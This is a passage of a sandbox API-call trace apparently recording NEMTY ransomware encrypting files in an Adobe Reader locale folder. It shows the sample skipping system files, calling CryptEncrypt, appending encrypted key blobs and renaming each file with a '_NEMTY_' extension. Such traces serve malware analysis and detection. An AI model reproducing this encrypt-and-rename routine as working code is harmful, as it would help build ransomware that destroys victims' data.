0x6340308 [0183.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.100] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\ReadOutLoud.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\readoutloud.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\ReadOutLoud.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\readoutloud.rus._nemty_kgobjgd_")) returned 1 [0183.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.101] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Reflow.RUS", cAlternateFileName="")) returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2=".") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="..") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="...") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="windows") returned -1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="rsa") returned -1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="NTDETECT.COM") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="ntldr") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="MSDOS.SYS") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="IO.SYS") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="boot.ini") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="boot.ini") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="ntuser.dat") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="desktop.ini") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="CONFIG.SYS") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="RECYCLER") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.101] lstrcmpiW (lpString1="Reflow.RUS", lpString2="bootmgr") returned 1 [0183.102] lstrcmpiW (lpString1="Reflow.RUS", lpString2="programdata") returned 1 [0183.102] lstrcmpiW (lpString1="Reflow.RUS", lpString2="appdata") returned 1 [0183.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.RUS", lpUsedDefaultChar=0x0) returned 10 [0183.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.RUS", lpUsedDefaultChar=0x0) returned 10 [0183.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUS", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.RUS", lpUsedDefaultChar=0x0) returned 10 [0183.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0183.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUS", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.RUS", lpUsedDefaultChar=0x0) returned 10 [0183.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.102] Sleep (dwMilliseconds=0x5) [0183.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20ca1070, dwHighDateTime=0x1d561e8)) [0183.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20ca1070, dwHighDateTime=0x1d561e8)) [0183.111] GetLastError () returned 0x0 [0183.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.111] GetLastError () returned 0x0 [0183.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.111] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.111] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.111] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.111] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="V3Sk2iAV22K2M8B1fZD9+Ho9ZmJan5cxkQSybrAYBSs3IYHmpUKgyfbf4DF5ACj4\r\nk9VXsL5eO7qW6I094bo03+DSixxb792auNBDJSSyyYp5+YRq/8ayAb9/8SqLIGXr\r\n4O4PjHrxwbS29FUTK+2Ms1LhB76TnZncPiLcIwS33NtfgQtCdXfQNuhrwE5MfSGo\r\nqOgA3YZZeD1tHeyPThjCeRslBCCP1+PTKpxw0c5Fx2oiamX4dDcUrFHXhDVTBtm5\r\nZ9mr5MnIdEuEJBxsl7Pvg80TaTKiv6qUXkaT6azZWeOhP5ff76QvcdwaYMXbO8RT\r\nS3elB2DVOlslSIjHtCqWHQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.111] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Reflow.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\reflow.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.112] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0183.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0183.112] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.112] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0183.114] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.114] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0183.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.114] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0183.114] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.114] CloseHandle (hObject=0x2e8) returned 1 [0183.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0183.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.114] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Reflow.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\reflow.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Reflow.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\reflow.rus._nemty_kgobjgd_")) returned 1 [0183.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0183.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.115] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.115] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.RUS", cAlternateFileName="SAVEAS~1.RUS")) returned 1 [0183.115] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2=".") returned 1 [0183.115] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="..") returned 1 [0183.115] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="...") returned 1 [0183.115] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="windows") returned -1 [0183.115] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="$RECYCLE.BIN") returned 1 [0183.115] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="rsa") returned 1 [0183.115] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="NTDETECT.COM") returned 1 [0183.115] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="ntldr") returned 1 [0183.115] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="MSDOS.SYS") returned 1 [0183.115] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="IO.SYS") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="boot.ini") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="boot.ini") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="ntuser.dat") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="desktop.ini") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="CONFIG.SYS") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="RECYCLER") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="BOOTSECT.BAK") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="bootmgr") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="programdata") returned 1 [0183.116] lstrcmpiW (lpString1="SaveAsRTF.RUS", lpString2="appdata") returned 1 [0183.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUS", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.RUS", lpUsedDefaultChar=0x0) returned 13 [0183.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUS", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.RUS", lpUsedDefaultChar=0x0) returned 13 [0183.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUS", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.RUS", lpUsedDefaultChar=0x0) returned 13 [0183.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0183.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.RUS", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.RUS", lpUsedDefaultChar=0x0) returned 13 [0183.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.116] Sleep (dwMilliseconds=0x5) [0183.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20cc71d0, dwHighDateTime=0x1d561e8)) [0183.126] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20cc71d0, dwHighDateTime=0x1d561e8)) [0183.126] GetLastError () returned 0x0 [0183.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.126] GetLastError () returned 0x0 [0183.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.126] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.126] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.127] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.127] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="izgnNbkVmM7BPWigIUMYLBH0wo/96YFYAInWeN7dmXlBfXEKITvR9PevrjNIniV1\r\nFIEfIyLgq0uLPgaJRdgsHPcXpLV39Bp01uObfCfBDVKCaBM18MbETo+c8GxvDIQH\r\nNfvX6DS4dnqO4wR6UjAVO4WppF97IfFnPwgaVGgoqG3ctUdCj8kyuw5SDI37/5Ni\r\nWF6TE0Q0hbr7yy2bw9Duhrerd/cuWmEVSvrD53WK7af8M1T/CMhtWDUkGQ7sYBBs\r\nBHWnkcFmsu5X+GpEnSkW/S/AtOyZtO7+v/TnBbhZpyQoVWXIhXK16LTUYYZ93+0M\r\nbESYukF+kCgUzUP4Vqunpg==\r\n", pcchString=0x653e5dc) returned 1 [0183.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.127] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\SaveAsRTF.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\saveasrtf.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.127] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0183.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0183.127] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.127] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0183.130] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.130] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0183.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.130] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 